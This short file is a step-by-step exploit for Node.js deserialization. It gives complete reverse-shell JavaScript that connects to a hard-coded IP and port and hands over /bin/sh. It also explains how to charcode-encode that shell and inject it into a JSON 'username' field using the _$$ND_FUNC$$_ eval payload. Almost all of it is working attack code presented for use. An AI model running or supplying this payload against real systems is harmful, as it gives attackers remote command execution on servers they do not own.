NodeJS Deserialization Exploit (Reverse Shell)

NodeJS.js

// Step 1
// Use the following Code - Change the HOST / PORT as you need
// Modified from: https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
var net = require('net');
var spawn = require('child_process').spawn;
HOST="10.2.26.203";
PORT="9001";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
var client = new net.Socket();
client.connect(PORT, HOST, function() {
   var sh = spawn('/bin/sh',[]);
   client.write("Connected!\n");
   client.pipe(sh.stdin);
   sh.stdout.pipe(client);
   sh.stderr.pipe(client);
   sh.on('exit',function(code,signal){
     client.end("Disconnected!\n");
   });
});
client.on('error', function(e) {
   setTimeout(c(HOST,PORT), TIMEOUT);
});

// Step 2
// To prevent any encoding errors, convert to CharCode (Comma delimited)
// https://gchq.github.io/CyberChef/#recipe=To_Charcode('Comma',10)

// Step 3
// Change from
// {"username":"admin"}
// to
// {"username":"_$$ND_FUNC$$_function(){eval(String.fromCharCode(10,23,etc,from,above,14,23,5))}()"}
// Note: Don't add additional spaces
// Note 2: Make sure the end is correct - 2 )'s, a }, a (), a ", then a }

// TODO (Maybe): Make this entire process a single python3 .py file